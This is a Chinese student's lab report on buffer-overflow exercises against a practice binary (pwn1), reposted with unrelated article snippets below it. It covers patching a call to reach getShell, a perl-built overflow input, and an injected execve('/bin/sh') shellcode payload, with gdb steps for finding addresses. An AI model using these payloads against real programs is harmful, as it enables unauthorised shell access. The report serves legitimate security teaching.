# 20232321 2025-2026-1 《网络与系统攻防技术》实验一实验报告

news/2025/10/7 21:02:41/文章来源:https://www.cnblogs.com/618907814lyy/p/19128853

1.实验内容

  • 1.1直接修改程序机器指令,改变程序执行流程————通过直接修改可执行文件改变流程
  • 1.2通过构造输入参数,造成BOF攻击,改变程序执行流————通过利用缓冲区溢出的漏洞,使返回的地址跳转到getshell
  • 1.3注入Shellcode并执行————通过利用缓冲区溢出的漏洞,执行任意自定义的getshell

2.实验过程

(一)基础知识

1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

  • NOP:CPU不执行任何操作跳转到下一个指令
  • JNE:是条件转移指令,如果不相等则跳转。
  • JE:是条件转移指令,如果相等则跳转。
  • JMP:无条件转移指令。
  • CMP:比较指令

2.掌握反汇编与十六进制编程器

  • 反汇编指令:objdump -d xxx
  • 切换为16进制模式:%!xxd
  • 切换为原格式:%!xxd -r

(二)具体过程

2.1直接修改程序机器指令,改变程序执行流程
首先修改主机名为本人姓名拼音,并下载好pwn1可执行文件,将其命名为pwn+学号,运行一次,测试正常,回显了输入内容

图片1

开始反汇编,输入:objdump -d pwn20232321-2 | more

图片2

出现图标后,按Enter键向下滑动,找到main函数。
由于foo函数的首地址为8048491;e8表示“call”,即跳转。
在main函数中找到调用位于地址8048491处的foo函数。
getShell函数的起始地址:804847d
执行跳转指令时EIP寄存器中的值:80484ba
求差得FFFF FFC3,所以call指令对应的机器指令应改为e8 c3 ff ff ff

图片3

修改文件pwn20232321-2,找到e8d7ffffff改为e8c3ffffff

图片4

保存后再次执行该文件,会得到shell提示符#,并且正确执行了所输的shell命令,说明修改成功,执行了getShell

图片5

图片6

2.2通过构造输入参数,造成BOF攻击,改变程序执行流
通过构造输入参数,造成BOF攻击,改变程序执行流
objdump -d pwn20232321 | more命令反汇编

图片7

通过(-0x1c)我们可以知道有28字节的缓冲区,又因为我们是要执行getShell,所以需要用其起始地址来覆盖返回地址,即804847d。因为在程序中函数的调用使用堆栈的形式,在输入的缓冲区上方是4字节的foo函数返回,更上方才是4字节main函数返回,所以应该输入28+4+4=36个数字其中最后4个数字的16进制为\x7d\x84\x04\x08
在这里我选择输入11111111222222223333333344444444\x7d\x84\x04\x08\x0a
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

图片8

2.3注入Shellcode并执行
构造要注入的payload:
Perl-e'print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode

图片9

在第一个终端用(cat input_shellcode;cat) | ./pwn20232321注入攻击,回车后保持这个终端不动,打开另一个终端
另一个终端ps -df |grep pwn20232321查看 其进程号为218970

图片10

图片11

图片12

使用break *0x080484ae设置断点,在此终端输入c,在另一终端输入回车,使其继续执行。再返回调试终端,使用info r esp查找地址。
使用x/16x 0xffffcf4c查看其存放内容,看到了9080cd0b,就是返回地址的位置。
shellcode地址:0xffffcf4c+0x00000004=0xffffcf50

图片13

perl -e 'print "A" x 32;
print"\x50\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

图片14

图片15

再用(cat input_shellcode20232321;cat) | ./pwn20232321查看结果

图片16

3.问题及解决方案

  • 问题1:如下图所示,当我进行实验3“注入Shellcode并执行”的最后一步时,我按照实验指导书得到了pwn1查询他的shell的地址,然而如果我把pwn1复制出pwn20232321执行时,会出现下图通道断开的error提示。

图片17

  • 问题1解决方案:这是由于进程不同,shell地址不同,所以会报错,直接使用pwn1就可以正常执行。

4.学习感悟、思考等

这次缓冲区溢出实验,让我实实在在地感受到了攻防的门道。从改机器指令让程序跳转到 getShell,到算着缓冲区大小构造输入改执行流,再到调试 Shellcode 地址解决进程不同导致的报错,每一步都得对着反汇编结果和栈地址反复比对查阅资料。通过3种殊途同归的方式入侵了自己的程序后,我切实感受到了网络攻防安全的重要性。虽然中间卡过壳,像在shellcode 注入实验时,为了方便操作我使用源程序的注入文件入侵复制后的程序,出现了意想不到的报错,不过好在通过查找资料发现了管道破裂的的原因是进程比对不上。

参考资料

  • 《逆向及Bof基础实践说明》
  • 《2018-2019-2 20165210《网络攻防技术》Exp1 PC平台逆向破解(BOF实验)》

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/930837.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于深度学习的语音识别高效的系统设计与实现

基于深度学习的语音识别高效的系统设计与实现pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", &qu…

[ARC201B] Binary Knapsack 大大背包

思路 第一眼背包, 但是 \(n \leq 2e5\) 和重量 $ 2^{X}, X\in[0,60)$ 。所以不能使用背包 由于重量为 $ 2^{X}$ , 很有可能与二进制有关, 于是按位贪心 开 \(65\) 个优先队列,每个优先队列里存放对应与下标相等的 …

网站开发要什么软件济南抖音推广公司

目录 前言 1-保持小的拉取请求 2-使用拉取请求模板 3-实施响应时间 SLA 4-培训初级和中级工程师 5-设置持续集成管道 6-使用拉取请求审查应用程序 7-生成图表以可视化您的代码更改 前言 代码审查可能会很痛苦软件工程师经常抱怨审查过程缓慢,延迟下游任务&…

宁波做网站建设推广广推科技(北京)有限公司

✅作者简介:大家好,我是 Meteors., 向往着更加简洁高效的代码写法与编程方式,持续分享Java技术内容。 🍎个人主页:Meteors.的博客 💞当前专栏:Java微服务 ✨特色专栏: 知识分享 &…

题解:CF1292E Rin and The Unknown Flower

传送门 一道有趣的思维题。 我们从最简单的情况开始考虑:如果还剩下 \(2\) 格电呢? 那么直接询问 \(\texttt{O}\) 和 \(\texttt{H}\),剩下的位置就是 \(\texttt{C}\)。 从以上的朴素做法中我们得到启发:能不能通过…

打印A3大小的PDF文件为A4幅面

Foxit 福昕打印pdf:放大150% 然后把每页旋转180度,保存,打印。方法一: 用 Acrobat Pro DC 旋转。 方法二: 用 illustrator,打开pdf,选择某页,旋转,保存

一个完整的网站建设怎么在58同城上做网站

linux服务器的字符集设置可能影响到网站页面出现 “???” 等问号乱码,还有可能导致文件中的汉字部分出现乱码。有两个原因 服务器没有安装 zh_CN.UTF-8 字符集,导致不支持中文!服务器虽然装了 zh_CN.UTF-8…

深入解析:SpringBoot-Thymeleaf

深入解析:SpringBoot-Thymeleafpre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco&qu…

课程总结2

请看下列代码,你发现有什么特殊之处吗? public class MethodOverload { public static void main (String [] args) { System.out.println ("The square of integer 7 is" + square (7)); System.out.prin…

延安网站建设哪家专业深圳多区最新通知

‍作者|张祥威 编辑|德新 多位知情人士告诉HiEV,智能网联汽车准入试点通知,乐观预计将在一个月内发布。试点的推动,意味着国家层面的自动驾驶L3标准随之到来。 「L3标准内容大部分与主机厂相关,由工信部牵头,找了几家…

机器学习:集成学习概念、分类、随机森林 - 实践

机器学习:集成学习概念、分类、随机森林 - 实践2025-10-07 20:45 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display…

sudo docker exec -it backend bash 以交互方式(interactive)进入正在运行的 Docker 容器的命令行环境 - 实践

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

解码查找算法与哈希表

查找基础概念 查找的定义 查找(又称搜索)是从一组数据中,找出 “关键字与目标值匹配” 的记录的操作;若找到则返回记录的位置(如数组下标),若未找到则返回 “不存在” 标识(如-1)。 查找效率的影响因素数据存…

完整教程:MySQL 如何判断某个表中是否存在某个字段

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

2025/10/7

2025/10/7休息一天

NVMe IP现状扫盲 - 指南

NVMe IP现状扫盲 - 指南pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", &qu…

山西正规网站建设推广如何分析网站流量

项目介绍 ChatTTS是一款专为优化对话场景而生的语音生成模型,尤其匹配大型语言模型(LLM)的交互需求,以及生成对话式音频、视频旁白等应用场景,无缝覆盖中英文双语。 通过汲取约100,000小时的高质量中英语音数据进行深…

字体设计教程网站好变装chinacd wordpress

泛型&#xff08;宽泛的&#xff0c;不确定的类型&#xff09; 使用场景&#xff1a;定义一个函数或类时&#xff0c;无法确定要使用的具体类型&#xff08;返回值、参数、属性的类型不能确定&#xff09;泛型使用时相当于一个参数 functiondemo<T>(arg: T): T{return …

第二次课动手动脑合集

文档: https://files.cnblogs.com/files/blogs/847696/动手动脑2.zip?t=1759839965&download=true 1.生成随机数 import java.util.Arrays; public class RandomGenerator { public static void main(String[] a…